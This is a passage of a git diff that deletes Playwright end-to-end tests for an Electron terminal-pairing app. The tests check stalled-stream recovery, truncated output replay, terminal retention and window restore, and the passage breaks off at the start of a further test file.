gpu?.cpu.idleWakeupsPerSecond ?? 0, - processCount: metrics.length, - totalCpuPercent: metrics.reduce((total, metric) => total + metric.cpu.percentCPUUsage, 0), - totalIdleWakeupsPerSecond: metrics.reduce( - (total, metric) => total + metric.cpu.idleWakeupsPerSecond, - 0 - ) - } - }) -} - -async function minimizeHeadedHost(electronApp: ElectronApplication, page: Page): Promise { - const host = await electronApp.browserWindow(page) - await host.evaluate((window) => window.minimize()) - await expect - .poll(() => - host.evaluate((window) => ({ - backgroundThrottling: window.webContents.getBackgroundThrottling(), - minimized: window.isMinimized() - })) - ) - .toEqual({ backgroundThrottling: true, minimized: true }) - // Linux reports isVisible/document visibility differently; the window manager owns iconification. - if (process.platform === 'linux') { - const nativeId = await host.evaluate((window) => window.getNativeWindowHandle().readUInt32LE(0)) - await expect - .poll(async () => { - const result = await runProcess({ - program: 'xprop', - args: ['-id', String(nativeId), '_NET_WM_STATE'], - timeoutMs: 5_000 - }) - return result.stdout - }) - .toContain('_NET_WM_STATE_HIDDEN') - } else { - await expect.poll(() => page.evaluate(() => document.visibilityState)).toBe('hidden') - } -} - -async function restoreHeadedHost(electronApp: ElectronApplication, page: Page): Promise { - const host = await electronApp.browserWindow(page) - await host.evaluate((window) => { - window.restore() - window.show() - window.focus() - }) - await expect - .poll(() => - host.evaluate((window) => ({ - backgroundThrottling: window.webContents.getBackgroundThrottling(), - minimized: window.isMinimized(), - visible: window.isVisible() - })) - ) - .toEqual({ backgroundThrottling: true, minimized: false, visible: true }) - await expect.poll(() => page.evaluate(() => document.visibilityState)).toBe('visible') - await page.evaluate( - () => new Promise((resolve) => requestAnimationFrame(() => requestAnimationFrame(resolve))) - ) -} - -async function showHeadedClient(electronApp: ElectronApplication, page: Page): Promise { - const clientWindow = await electronApp.browserWindow(page) - await clientWindow.evaluate((window) => { - window.show() - window.focus() - }) - await expect.poll(() => clientWindow.evaluate((window) => window.isVisible())).toBe(true) -} - -function countForegroundPixels(buffer: Buffer): number { - const image = PNG.sync.read(buffer) - const buckets = new Map() - for (let offset = 0; offset < image.data.length; offset += 4) { - if ((image.data[offset + 3] ?? 0) < 128) { - continue - } - const red = image.data[offset] ?? 0 - const green = image.data[offset + 1] ?? 0 - const blue = image.data[offset + 2] ?? 0 - const key = `${red >> 3},${green >> 3},${blue >> 3}` - const bucket = buckets.get(key) ?? { count: 0, red, green, blue } - bucket.count += 1 - buckets.set(key, bucket) - } - const background = [...buckets.values()].sort((a, b) => b.count - a.count)[0] - if (!background) { - return 0 - } - let foregroundPixels = 0 - for (let offset = 0; offset < image.data.length; offset += 4) { - if ((image.data[offset + 3] ?? 0) < 128) { - continue - } - const distance = - Math.abs((image.data[offset] ?? 0) - background.red) + - Math.abs((image.data[offset + 1] ?? 0) - background.green) + - Math.abs((image.data[offset + 2] ?? 0) - background.blue) - if (distance > 48) { - foregroundPixels += 1 - } - } - return foregroundPixels -} - -function countVisualMarkerPixels(buffer: Buffer): number { - const image = PNG.sync.read(buffer) - let count = 0 - for (let offset = 0; offset < image.data.length; offset += 4) { - const red = image.data[offset] ?? 0 - const green = image.data[offset + 1] ?? 0 - const blue = image.data[offset + 2] ?? 0 - if ( - (image.data[offset + 3] ?? 0) >= 245 && - blue >= 100 && - blue - red >= 50 && - blue - green >= 20 && - green - red >= 10 - ) { - count += 1 - } - } - return count -} - -async function findHostPaneWithMarker( - page: Page, - marker: string -): Promise<{ paneId: number; ptyId: string; tabId: string }> { - let target: { paneId: number; ptyId: string; tabId: string } | null = null - await expect - .poll( - async () => { - target = await page.evaluate((expectedMarker) => { - for (const [tabId, manager] of window.__paneManagers?.entries() ?? []) { - for (const pane of manager.getPanes?.() ?? []) { - const content = pane.serializeAddon?.serialize?.() ?? '' - const ptyId = pane.container?.dataset?.ptyId - if (content.includes(expectedMarker) && ptyId) { - return { paneId: pane.id, ptyId, tabId } - } - } - } - return null - }, marker) - return target !== null - }, - { timeout: 30_000, message: 'host renderer never mirrored the paired terminal marker' } - ) - .toBe(true) - if (!target) { - throw new Error('Host terminal marker target disappeared') - } - return target -} - -test('restarts one ACK-starved paired terminal stream without replacing its PTY @headful', async ({ - electronApp, - orcaPage -}, testInfo) => { - test.setTimeout(150_000) - const liveMarker = `PAIRED_STALL_RECOVERED_${Date.now()}` - const worktree = await orcaPage.evaluate(() => { - const state = window.__store?.getState() - const id = state?.activeWorktreeId - const active = state?.allWorktrees().find((candidate) => candidate.id === id) - if (!active) { - throw new Error('Headed host did not select its seeded worktree') - } - return { id: active.id } - }) - const noClientResources = await getAppResourceProxies(electronApp) - const offer = await createRuntimeDesktopPairingOffer(orcaPage) - const client = await launchPairedWebClient(electronApp, offer, { - disableRemoteTerminalStallRecovery: - process.env.ORCA_E2E_DISABLE_REMOTE_TERMINAL_STALL_RECOVERY === '1' - }) - let observer: Awaited> | null = null - let terminal: string | null = null - try { - await expect - .poll( - () => - client.page.evaluate( - (worktreeId) => - window.__store - ?.getState() - .allWorktrees() - .some((candidate) => candidate.id === worktreeId), - worktree.id - ), - { timeout: 30_000 } - ) - .toBe(true) - const observerOffer = await createRuntimeDesktopPairingOffer(orcaPage) - observer = await launchPairedWebClient(electronApp, observerOffer) - const observerPage = observer.page - await showHeadedClient(electronApp, client.page) - await showHeadedClient(electronApp, observer.page) - await expect - .poll( - () => - observer?.page.evaluate( - (worktreeId) => - window.__store - ?.getState() - .allWorktrees() - .some((candidate) => candidate.id === worktreeId), - worktree.id - ), - { timeout: 30_000 } - ) - .toBe(true) - const connectedIdleResources = await getAppResourceProxies(electronApp) - await minimizeHeadedHost(electronApp, orcaPage) - const createStartedAt = performance.now() - const created = await callRuntime<{ - tab: { id: string; parentTabId: string; terminal: string | null } - }>(client.page, 'session.tabs.createTerminal', { - worktree: `id:${worktree.id}`, - command: fixtureCommand(), - activate: false, - select: false, - navigation: 'caller' - }) - const createLatencyMs = performance.now() - createStartedAt - expect(createLatencyMs).toBeLessThan(PUBLICATION_DEADLINE_MS) - terminal = created.tab.terminal - if (!terminal) { - throw new Error('Paired runtime did not publish the stalled-stream fixture') - } - const webTabId = toWebTerminalSurfaceTabId(created.tab.parentTabId) - await expect - .poll( - () => - client.page.evaluate( - ({ tabId, worktreeId }) => - (window.__store?.getState().tabsByWorktree[worktreeId] ?? []).some( - (tab) => tab.id === tabId - ), - { tabId: webTabId, worktreeId: worktree.id } - ), - { timeout: 30_000 } - ) - .toBe(true) - await expect - .poll( - () => - observer?.page.evaluate( - ({ tabId, worktreeId }) => - (window.__store?.getState().tabsByWorktree[worktreeId] ?? []).some( - (tab) => tab.id === tabId - ), - { tabId: webTabId, worktreeId: worktree.id } - ), - { timeout: 30_000 } - ) - .toBe(true) - await expect - .poll( - () => - orcaPage.evaluate( - ({ tabId, worktreeId }) => - (window.__store?.getState().tabsByWorktree[worktreeId] ?? []).some( - (tab) => tab.id === tabId - ), - { tabId: created.tab.parentTabId, worktreeId: worktree.id } - ), - { timeout: 30_000 } - ) - .toBe(true) - expect( - ( - await callRuntime<{ tabs: { terminal?: string | null }[] }>( - client.page, - 'session.tabs.list', - { worktree: `id:${worktree.id}` } - ) - ).tabs.some((candidate) => candidate.terminal === terminal), - 'authoritative inventory dropped the terminal before ACK starvation' - ).toBe(true) - await client.page.evaluate( - (worktreeId) => window.__store?.getState().setActiveWorktree(worktreeId), - worktree.id - ) - const tab = client.page.locator(`[data-testid="sortable-tab"][data-tab-id="${webTabId}"]`) - await expect(tab).toBeVisible({ timeout: 30_000 }) - await tab.click() - const originalPtyId = await waitForActivePanePtyId(client.page, 30_000) - await expect - .poll(() => getTerminalContent(client.page), { timeout: 30_000 }) - .toContain('PAIRED_STALL_READY') - await observer.page.evaluate( - (worktreeId) => window.__store?.getState().setActiveWorktree(worktreeId), - worktree.id - ) - const observerTab = observer.page.locator( - `[data-testid="sortable-tab"][data-tab-id="${webTabId}"]` - ) - await expect(observerTab).toBeVisible({ timeout: 30_000 }) - await observerTab.click() - const observerOriginalPtyId = await waitForActivePanePtyId(observer.page, 30_000) - expect(observerOriginalPtyId.split('@@').at(-1)).toBe(originalPtyId.split('@@').at(-1)) - await expect - .poll(() => getTerminalContent(observerPage), { timeout: 30_000 }) - .toContain('PAIRED_STALL_READY') - - await client.page.evaluate((target) => { - const gate = ( - window as typeof window & { - __remoteTerminalMultiplexAckGate?: { hold: (terminals: string[]) => void } - } - ).__remoteTerminalMultiplexAckGate - if (!gate) { - throw new Error('Remote terminal multiplex ACK gate is unavailable') - } - gate.hold([target]) - }, terminal) - const textarea = client.page.locator('.xterm-helper-textarea:visible').first() - await textarea.focus() - await client.page.keyboard.type('GO') - await client.page.keyboard.press('Enter') - - await expect - .poll( - () => - client.page.evaluate(() => { - const gate = ( - window as typeof window & { - __remoteTerminalMultiplexAckGate?: { - snapshot: () => { heldAckChars: number } - } - } - ).__remoteTerminalMultiplexAckGate - return gate?.snapshot().heldAckChars ?? 0 - }), - { timeout: 30_000 } - ) - .toBeGreaterThan(MIN_EXHAUSTED_ACK_BYTES) - await expect - .poll( - async () => { - const result = await callRuntime<{ terminal: RuntimeTerminalRead }>( - client.page, - 'terminal.read', - { terminal } - ) - return result.terminal.tail.join('\n').includes('HOST_FLOOD_COMPLETE') - }, - { timeout: 30_000 } - ) - .toBe(true) - - const beforeInput = await callRuntime<{ terminal: RuntimeTerminalRead }>( - client.page, - 'terminal.read', - { terminal } - ) - const sent = await callRuntime<{ send: { accepted: boolean } }>(client.page, 'terminal.send', { - terminal, - text: liveMarker, - enter: true, - client: { id: 'paired-stalled-stream-e2e', type: 'desktop' } - }) - expect(sent.send.accepted).toBe(true) - await expect - .poll( - async () => { - const result = await callRuntime<{ terminal: RuntimeTerminalRead }>( - client.page, - 'terminal.read', - { terminal } - ) - return Number(result.terminal.latestCursor) - }, - { timeout: 30_000 } - ) - .toBeGreaterThan(Number(beforeInput.terminal.latestCursor)) - expect(await getTerminalContent(client.page)).not.toContain(liveMarker) - expect( - await client.page.evaluate( - ({ target, text }) => { - const gate = ( - window as typeof window & { - __remoteTerminalMultiplexAckGate?: { - sendInput: (terminal: string, text: string) => number - } - } - ).__remoteTerminalMultiplexAckGate - return gate?.sendInput(target, text) ?? 0 - }, - { target: terminal, text: '\r' } - ) - ).toBe(1) - - await expect - .poll(() => getTerminalContent(client.page), { timeout: 30_000 }) - .toContain(`LIVE:${liveMarker}`) - expect(await waitForActivePanePtyId(client.page, 30_000)).toBe(originalPtyId) - await expect(tab).toHaveAttribute('data-active', 'true') - await expect - .poll(() => getTerminalContent(observerPage), { timeout: 30_000 }) - .toContain(`LIVE:${liveMarker}`) - expect(await waitForActivePanePtyId(observer.page, 30_000)).toBe(observerOriginalPtyId) - expect( - ( - await callRuntime<{ tabs: { terminal?: string | null }[] }>( - client.page, - 'session.tabs.list', - { worktree: `id:${worktree.id}` } - ) - ).tabs.some((candidate) => candidate.terminal === terminal), - 'authoritative inventory dropped the terminal during ACK recovery' - ).toBe(true) - - await restoreHeadedHost(electronApp, orcaPage) - await orcaPage.evaluate( - (worktreeId) => window.__store?.getState().setActiveWorktree(worktreeId), - worktree.id - ) - const hostTab = orcaPage.locator( - `[data-testid="sortable-tab"][data-tab-id="${created.tab.parentTabId}"]` - ) - await expect(hostTab).toBeVisible({ timeout: 30_000 }) - await hostTab.click() - const hostPane = await findHostPaneWithMarker(orcaPage, `LIVE:${liveMarker}`) - expect(hostPane.tabId).toBe(created.tab.parentTabId) - await orcaPage.evaluate(({ paneId, tabId }) => { - const manager = window.__paneManagers?.get(tabId) - manager?.setActivePane?.(paneId, { focus: true }) - }, hostPane) - await expect - .poll(() => getTerminalContent(orcaPage), { timeout: 30_000 }) - .toContain(`LIVE:${liveMarker}`) - const restoredTerminalScreenshot = await orcaPage - .locator( - `[data-terminal-tab-id="${hostPane.tabId}"] .pane[data-pane-id="${hostPane.paneId}"] .xterm-screen` - ) - .screenshot({ animations: 'disabled' }) - await testInfo.attach('host-terminal-after-create-restore', { - body: restoredTerminalScreenshot, - contentType: 'image/png' - }) - expect( - countVisualMarkerPixels(restoredTerminalScreenshot), - 'host terminal marker did not repaint after the background publication toggle' - ).toBeGreaterThan(500) - expect( - ( - await callRuntime<{ tabs: { terminal?: string | null }[] }>( - client.page, - 'session.tabs.list', - { worktree: `id:${worktree.id}` } - ) - ).tabs.some((candidate) => candidate.terminal === terminal), - 'authoritative inventory dropped the terminal while restoring the host' - ).toBe(true) - - await minimizeHeadedHost(electronApp, orcaPage) - await showHeadedClient(electronApp, observer.page) - - const authoritativeInventory = await callRuntime<{ - tabs: { id: string; parentTabId?: string; terminal?: string | null }[] - }>(client.page, 'session.tabs.list', { worktree: `id:${worktree.id}` }) - const authoritativeTab = authoritativeInventory.tabs.find( - (candidate) => candidate.terminal === terminal - ) - if (!authoritativeTab) { - throw new Error( - `Paired terminal was absent from authoritative inventory before close: ${JSON.stringify( - authoritativeInventory.tabs.map((candidate) => ({ - id: candidate.id, - parentTabId: candidate.parentTabId, - terminal: candidate.terminal - })) - )}` - ) - } - const closeStartedAt = performance.now() - await callRuntime(client.page, 'session.tabs.close', { - worktree: `id:${worktree.id}`, - tabId: authoritativeTab.id, - reason: 'user', - navigation: 'caller' - }) - const closeLatencyMs = performance.now() - closeStartedAt - expect(closeLatencyMs).toBeLessThan(PUBLICATION_DEADLINE_MS) - await expect - .poll( - () => - Promise.all([ - orcaPage.evaluate( - ({ tabId, worktreeId }) => - (window.__store?.getState().tabsByWorktree[worktreeId] ?? []).some( - (candidate) => candidate.id === tabId - ), - { tabId: created.tab.parentTabId, worktreeId: worktree.id } - ), - client.page.evaluate( - ({ tabId, worktreeId }) => - (window.__store?.getState().tabsByWorktree[worktreeId] ?? []).some( - (candidate) => candidate.id === tabId - ), - { tabId: webTabId, worktreeId: worktree.id } - ), - observerPage.evaluate( - ({ tabId, worktreeId }) => - (window.__store?.getState().tabsByWorktree[worktreeId] ?? []).some( - (candidate) => candidate.id === tabId - ), - { tabId: webTabId, worktreeId: worktree.id } - ) - ]), - { timeout: 30_000 } - ) - .toEqual([false, false, false]) - terminal = null - - await restoreHeadedHost(electronApp, orcaPage) - const restoredHostScreenshot = await orcaPage.screenshot({ fullPage: true }) - expect( - countForegroundPixels(restoredHostScreenshot), - 'host compositor remained blank after the background close toggle' - ).toBeGreaterThan(1_000) - await testInfo.attach('host-window-after-close-restore', { - body: restoredHostScreenshot, - contentType: 'image/png' - }) - - const afterPublicationResources = await getAppResourceProxies(electronApp) - const evidencePath = test.info().outputPath('publication-evidence.json') - writeFileSync( - evidencePath, - `${JSON.stringify( - { - afterPublicationResources, - closeLatencyMs, - connectedIdleResources, - createLatencyMs, - hostMinimizedDuringCreateAndClose: true, - hostRestoredAfterEachPublication: true, - noClientResources - }, - null, - 2 - )}\n` - ) - await test.info().attach('publication-evidence', { - contentType: 'application/json', - path: evidencePath - }) - } finally { - await client.page - .evaluate(() => { - ;( - window as typeof window & { - __remoteTerminalMultiplexAckGate?: { release: () => void } - } - ).__remoteTerminalMultiplexAckGate?.release() - }) - .catch(() => undefined) - await observer?.dispose() - if (terminal) { - await callRuntime(client.page, 'terminal.closeTab', { terminal }).catch(() => undefined) - } - await client.dispose() - } -}) diff --git a/tests/e2e/paired-remote-terminal-truncated-tail-first-paint.spec.ts b/tests/e2e/paired-remote-terminal-truncated-tail-first-paint.spec.ts deleted file mode 100644 index 484af6b5ca8..00000000000 --- a/tests/e2e/paired-remote-terminal-truncated-tail-first-paint.spec.ts +++ /dev/null @@ -1,481 +0,0 @@ -import { mkdtempSync, rmSync, writeFileSync } from 'node:fs' -import os from 'node:os' -import path from 'node:path' -import type { Page } from '@stablyai/playwright-test' -import type { RuntimeTerminalRead } from '../../src/shared/terminal/runtime/runtime-terminal-contracts' -import '../../src/shared/remote-runtime/protocol/protocol-version' -import { TERMINAL_PAIRED_PARKING_RUNTIME_CAPABILITY } from '../../src/shared/terminal/runtime-policy/terminal-runtime-capabilities' -import { toWebTerminalSurfaceTabId } from '../../src/shared/workspace-layout/terminal-surface-id' -import { expect, test } from './helpers/orca-app' -import { - createRuntimeDesktopPairingOffer, - launchPairedWebClient -} from './helpers/paired-electron-client' -import { getTerminalContent, waitForActivePanePtyId } from './helpers/terminal' -import { quotePosixShell } from '../../src/shared/shell/launch/shell-argument-quoting' - -const RETENTION_PARK_DELAY_MS = 100 -const scratch = mkdtempSync(path.join(os.tmpdir(), 'orca-paired-truncated-tail-')) -const fixturePath = path.join(scratch, 'truncated-tail-terminal.mjs') -writeFileSync( - fixturePath, - [ - 'const marker = process.argv[2]', - 'let flooded = false', - "process.stdout.write('REMOTE_TRUNCATED_TAIL_READY\\r\\n')", - "process.stdin.setEncoding('utf8')", - "process.stdin.on('data', (data) => {", - " if (!flooded && data.includes('GO')) {", - ' flooded = true', - " for (let row = 0; row < 4_000; row += 1) process.stdout.write(`overflow-${row}-${'x'.repeat(80)}\\r\\n`)", - ' process.stdout.write(`${marker}\\r\\n`)', - ' return', - ' }', - ' process.stdout.write(`LIVE:${data.trim()}\\r\\n`)', - '})', - 'process.stdin.resume()' - ].join('\n') -) - -test.afterAll(() => { - rmSync(scratch, { recursive: true, force: true }) -}) - -test.use({ - orcaAppExtraEnv: { - ORCA_E2E_TERMINAL_PARKING_DELAY_MS: String(RETENTION_PARK_DELAY_MS), - ORCA_E2E_TERMINAL_RETENTION_LIMIT: '1' - } -}) - -function fixtureCommand(marker: string): string { - const command = [process.execPath, fixturePath, marker] - return process.platform === 'win32' - ? command.map((value) => `"${value.replaceAll('"', '""')}"`).join(' ') - : command.map(quotePosixShell).join(' ') -} - -async function callRuntime(page: Page, method: string, params: unknown): Promise { - return page.evaluate( - async ({ method, params }) => { - const response = await window.api.runtime.call({ method, params }) - if (!response.ok) { - throw new Error(`${response.error.code}: ${response.error.message}`) - } - return response.result - }, - { method, params } - ) as Promise -} - -test('paints a paired remote terminal when only its retained text tail overflowed @headful', async ({ - electronApp, - orcaPage -}) => { - test.setTimeout(120_000) - const firstPaintMarker = `REMOTE_TRUNCATED_TAIL_FIRST_PAINT_${Date.now()}` - const liveMarker = `REMOTE_TRUNCATED_TAIL_LIVE_${Date.now()}` - const worktree = await orcaPage.evaluate(() => { - const state = window.__store?.getState() - const activeWorktreeId = state?.activeWorktreeId - if (!activeWorktreeId) { - throw new Error('Headed host did not select its seeded worktree') - } - const activeWorktree = state - .allWorktrees() - .find((candidate) => candidate.id === activeWorktreeId) - if (!activeWorktree) { - throw new Error('Headed host active worktree was absent from inventory') - } - return { id: activeWorktree.id, path: activeWorktree.path } - }) - const offer = await createRuntimeDesktopPairingOffer(orcaPage) - const client = await launchPairedWebClient(electronApp, offer) - let terminal: string | null = null - try { - await expect - .poll( - () => - client.page.evaluate( - (worktreeId) => - window.__store - ?.getState() - .allWorktrees() - .some((candidate) => candidate.id === worktreeId), - worktree.id - ), - { timeout: 30_000 } - ) - .toBe(true) - const created = await callRuntime<{ - tab: { - parentTabId: string - leafId: string - terminal: string | null - } - }>(client.page, 'session.tabs.createTerminal', { - worktree: `id:${worktree.id}`, - command: fixtureCommand(firstPaintMarker), - activate: false, - select: false, - navigation: 'caller' - }) - terminal = created.tab.terminal - if (!terminal) { - throw new Error('Paired runtime did not publish the overflow fixture terminal') - } - - const webTabId = toWebTerminalSurfaceTabId(created.tab.parentTabId) - await expect - .poll( - () => - client.page.evaluate( - ({ tabId, worktreeId }) => - (window.__store?.getState().tabsByWorktree[worktreeId] ?? []).some( - (tab) => tab.id === tabId - ), - { tabId: webTabId, worktreeId: worktree.id } - ), - { timeout: 30_000 } - ) - .toBe(true) - await client.page.evaluate( - (worktreeId) => window.__store?.getState().setActiveWorktree(worktreeId), - worktree.id - ) - const remoteTab = client.page.locator(`[data-testid="sortable-tab"][data-tab-id="${webTabId}"]`) - await expect(remoteTab).toBeVisible({ timeout: 30_000 }) - await remoteTab.click() - await expect(remoteTab).toHaveAttribute('data-active', 'true') - await waitForActivePanePtyId(client.page, 30_000) - await expect - .poll(() => getTerminalContent(client.page), { timeout: 30_000 }) - .toContain('REMOTE_TRUNCATED_TAIL_READY') - await callRuntime(client.page, 'terminal.send', { - terminal, - text: 'WARMUP', - enter: true, - client: { id: 'paired-truncated-tail-e2e', type: 'desktop' } - }) - await expect - .poll(() => getTerminalContent(client.page), { timeout: 30_000 }) - .toContain('LIVE:WARMUP') - await callRuntime(client.page, 'terminal.send', { - terminal, - text: 'GO', - enter: true, - client: { id: 'paired-truncated-tail-e2e', type: 'desktop' } - }) - await expect - .poll(() => getTerminalContent(client.page), { timeout: 30_000 }) - .toContain(firstPaintMarker) - await expect - .poll( - async () => { - const result = await callRuntime<{ terminal: RuntimeTerminalRead }>( - client.page, - 'terminal.read', - { terminal } - ) - return { - marker: result.terminal.tail.join('\n').includes(firstPaintMarker), - truncated: result.terminal.truncated - } - }, - { timeout: 30_000 } - ) - .toEqual({ marker: true, truncated: true }) - - await client.page.reload() - await client.page.locator('[data-worktree-sidebar]').waitFor({ - state: 'visible', - timeout: 30_000 - }) - await client.page.evaluate( - (worktreeId) => window.__store?.getState().setActiveWorktree(worktreeId), - worktree.id - ) - const restoredRemoteTab = client.page.locator( - `[data-testid="sortable-tab"][data-tab-id="${webTabId}"]` - ) - await expect(restoredRemoteTab).toBeVisible({ timeout: 30_000 }) - await restoredRemoteTab.click() - await expect(restoredRemoteTab).toHaveAttribute('data-active', 'true') - await expect - .poll(() => getTerminalContent(client.page), { timeout: 30_000 }) - .toContain(firstPaintMarker) - - await callRuntime(client.page, 'terminal.send', { - terminal, - text: liveMarker, - enter: true, - client: { id: 'paired-truncated-tail-e2e', type: 'desktop' } - }) - await expect - .poll(() => getTerminalContent(client.page), { timeout: 30_000 }) - .toContain(`LIVE:${liveMarker}`) - } finally { - if (terminal) { - await callRuntime(client.page, 'terminal.closeTab', { terminal }).catch(() => undefined) - } - await client.dispose() - } -}) - -test('legacy paired hosts retain the lossy hidden-manager budget fallback @headful', async ({ - electronApp, - orcaPage -}) => { - test.skip( - process.env.ORCA_E2E_DISABLE_PAIRED_TERMINAL_PARKING !== '1', - 'The legacy fallback requires a host without terminal.paired-parking.v1.' - ) - test.setTimeout(120_000) - const worktreeIds = await orcaPage.evaluate(() => - window.__store - ?.getState() - .allWorktrees() - .slice(0, 2) - .map((worktree) => worktree.id) - ) - if (!worktreeIds || worktreeIds.length < 2) { - throw new Error('Paired retention fixture requires two seeded worktrees') - } - const offer = await createRuntimeDesktopPairingOffer(orcaPage) - const client = await launchPairedWebClient(electronApp, offer, { - terminalParkingDelayMs: RETENTION_PARK_DELAY_MS, - terminalRetentionLimit: 1 - }) - const createdTerminals: string[] = [] - try { - expect(await client.page.evaluate(() => window.api.e2e.getConfig())).toMatchObject({ - exposeStore: true, - terminalParkingDelayMs: RETENTION_PARK_DELAY_MS, - terminalRetentionLimit: 1 - }) - expect( - await client.page.evaluate( - (capability) => - Array.from(window.__store?.getState().runtimeStatusByEnvironmentId.values() ?? []).some( - (entry) => entry.status?.capabilities?.includes(capability) - ), - TERMINAL_PAIRED_PARKING_RUNTIME_CAPABILITY - ) - ).toBe(false) - await expect - .poll( - () => - client.page.evaluate((ids) => { - const known = new Set( - window.__store - ?.getState() - .allWorktrees() - .map((worktree) => worktree.id) - ) - return ids.every((id) => known.has(id)) - }, worktreeIds), - { timeout: 30_000 } - ) - .toBe(true) - await client.page.evaluate(async () => { - await window.__store - ?.getState() - .updateSettings({ terminalHiddenWorktreeRetentionBudget: false }) - }) - - const remoteTabs: { tabId: string; terminal: string; worktreeId: string; marker: string }[] = [] - for (const [index, worktreeId] of worktreeIds.entries()) { - const marker = `PAIRED_RETENTION_${index}_${Date.now()}` - const created = await callRuntime<{ - tab: { parentTabId: string; terminal: string | null } - }>(client.page, 'session.tabs.createTerminal', { - worktree: `id:${worktreeId}`, - command: fixtureCommand(marker), - activate: false, - select: false, - navigation: 'caller' - }) - if (!created.tab.terminal) { - throw new Error(`Paired retention terminal ${index} was not published`) - } - createdTerminals.push(created.tab.terminal) - const tabId = toWebTerminalSurfaceTabId(created.tab.parentTabId) - await expect - .poll( - () => - client.page.evaluate( - ({ tabId, worktreeId }) => - (window.__store?.getState().tabsByWorktree[worktreeId] ?? []).some( - (tab) => tab.id === tabId - ), - { tabId, worktreeId } - ), - { timeout: 30_000 } - ) - .toBe(true) - await client.page.evaluate( - (id) => window.__store?.getState().setActiveWorktree(id), - worktreeId - ) - const tab = client.page.locator(`[data-testid="sortable-tab"][data-tab-id="${tabId}"]`) - await expect(tab).toBeVisible({ timeout: 30_000 }) - await tab.click() - await waitForActivePanePtyId(client.page, 30_000) - await callRuntime(client.page, 'terminal.send', { - terminal: created.tab.terminal, - text: marker, - enter: true, - client: { id: 'paired-retention-e2e', type: 'desktop' } - }) - await expect - .poll(() => getTerminalContent(client.page), { timeout: 30_000 }) - .toContain(`LIVE:${marker}`) - remoteTabs.push({ tabId, terminal: created.tab.terminal, worktreeId, marker }) - } - - await expect - .poll( - () => - client.page.evaluate(() => ({ - parkDelayMs: window.__terminalParkingDebug?.parkDelayMs, - retentionLimit: window.__terminalParkingDebug?.retentionLimit - })), - { timeout: 10_000 } - ) - .toEqual({ parkDelayMs: RETENTION_PARK_DELAY_MS, retentionLimit: 1 }) - - await client.page.evaluate(() => window.__store?.getState().setActiveView('tasks')) - const controlStartedAt = Date.now() - await expect - .poll( - () => - client.page.evaluate( - ({ tabIds, controlStartedAt, delayMs }) => ({ - heldLongEnough: Date.now() - controlStartedAt >= delayMs * 4, - mounted: tabIds.filter((tabId) => window.__paneManagers?.has(tabId)).length - }), - { - tabIds: remoteTabs.map((tab) => tab.tabId), - controlStartedAt, - delayMs: RETENTION_PARK_DELAY_MS - } - ), - { timeout: 10_000 } - ) - .toEqual({ heldLongEnough: true, mounted: 2 }) - - await client.page.evaluate(async () => { - await window.__store - ?.getState() - .updateSettings({ terminalHiddenWorktreeRetentionBudget: true }) - }) - await expect - .poll( - () => - client.page.evaluate( - ({ delayMs, tabIds: [olderTabId, newerTabId], worktreeIds }) => { - const state = window.__store?.getState() - const terminalTabs = Object.values(state?.tabsByWorktree ?? {}).flat() - const verdicts = window.__terminalParkingDebug?.worktreeVerdicts() ?? [] - return { - activeView: state?.activeView, - budgetEnabled: state?.settings?.terminalHiddenWorktreeRetentionBudget, - newerMounted: window.__paneManagers?.has(newerTabId), - olderMounted: window.__paneManagers?.has(olderTabId), - remotePtys: [olderTabId, newerTabId].map((tabId) => - terminalTabs.find((tab) => tab.id === tabId)?.ptyId?.startsWith('remote:') - ), - verdicts: worktreeIds.map((worktreeId) => { - const verdict = verdicts.find((candidate) => candidate.worktreeId === worktreeId) - return verdict - ? { - forceParked: verdict.forceParked, - hasActivityTerminalPortal: verdict.hasActivityTerminalPortal, - hasPendingSpawnWork: verdict.hasPendingSpawnWork, - hidden: verdict.hiddenSinceMs !== null, - hiddenPastDelay: - verdict.hiddenSinceMs !== null && - Date.now() - verdict.hiddenSinceMs >= delayMs, - isVisible: verdict.isVisible, - ordinaryParkingCovers: verdict.ordinaryParkingCovers, - parkCooldown: - verdict.parkCooldownUntilMs !== null && - Date.now() < verdict.parkCooldownUntilMs, - shouldMeasureHiddenWorktree: verdict.shouldMeasureHiddenWorktree - } - : null - }) - } - }, - { - delayMs: RETENTION_PARK_DELAY_MS, - tabIds: [remoteTabs[0]!.tabId, remoteTabs[1]!.tabId], - worktreeIds - } - ), - { timeout: 10_000 } - ) - .toEqual({ - activeView: 'tasks', - budgetEnabled: true, - newerMounted: true, - olderMounted: false, - remotePtys: [true, true], - verdicts: [ - { - forceParked: true, - hasActivityTerminalPortal: false, - hasPendingSpawnWork: false, - hidden: true, - hiddenPastDelay: true, - isVisible: false, - ordinaryParkingCovers: false, - parkCooldown: false, - shouldMeasureHiddenWorktree: false - }, - { - forceParked: false, - hasActivityTerminalPortal: false, - hasPendingSpawnWork: false, - hidden: true, - hiddenPastDelay: true, - isVisible: false, - ordinaryParkingCovers: false, - parkCooldown: false, - shouldMeasureHiddenWorktree: false - } - ] - }) - - const older = remoteTabs[0]! - await client.page.evaluate((worktreeId) => { - const state = window.__store?.getState() - state?.setActiveView('terminal') - state?.setActiveWorktree(worktreeId) - }, older.worktreeId) - const olderTab = client.page.locator( - `[data-testid="sortable-tab"][data-tab-id="${older.tabId}"]` - ) - await expect(olderTab).toBeVisible({ timeout: 30_000 }) - await olderTab.click() - await waitForActivePanePtyId(client.page, 30_000) - await expect - .poll(() => getTerminalContent(client.page), { timeout: 30_000 }) - .toContain(`LIVE:${older.marker}`) - await callRuntime(client.page, 'terminal.send', { - terminal: older.terminal, - text: 'AFTER_RESTORE', - enter: true, - client: { id: 'paired-retention-e2e', type: 'desktop' } - }) - await expect - .poll(() => getTerminalContent(client.page), { timeout: 30_000 }) - .toContain('LIVE:AFTER_RESTORE') - await expect(olderTab).toHaveAttribute('data-active', 'true') - } finally { - for (const terminal of createdTerminals) { - await callRuntime(client.page, 'terminal.closeTab', { terminal }).catch(() => undefined) - } - await client.dispose() - } -}) diff --git a/tests/e2e/paired-remote-terminal-wide-viewport.spec.ts b/tests/e2e/paired-remote-terminal-wide-viewport.spec.ts deleted file mode 100644 index 54a08a9a0a9..00000000000 --- a/tests/e2e/paired-remote-terminal-wide-viewport.spec.ts +++ /dev/null @@ -1,124 +0,0 @@ -import { expect, test } from './helpers/orca-app' -import { - createRuntimeDesktopPairingOffer, - launchPairedElectronClient -} from './helpers/paired-electron-client' -import { ensureTerminalVisible, waitForActiveWorktree, waitForSessionReady } from './helpers/store' -import { - execInTerminal, - focusActiveTerminalInput, - waitForActivePanePtyId, - waitForActiveTerminalManager, - waitForTerminalOutput -} from './helpers/terminal' - -test('paired terminal fills 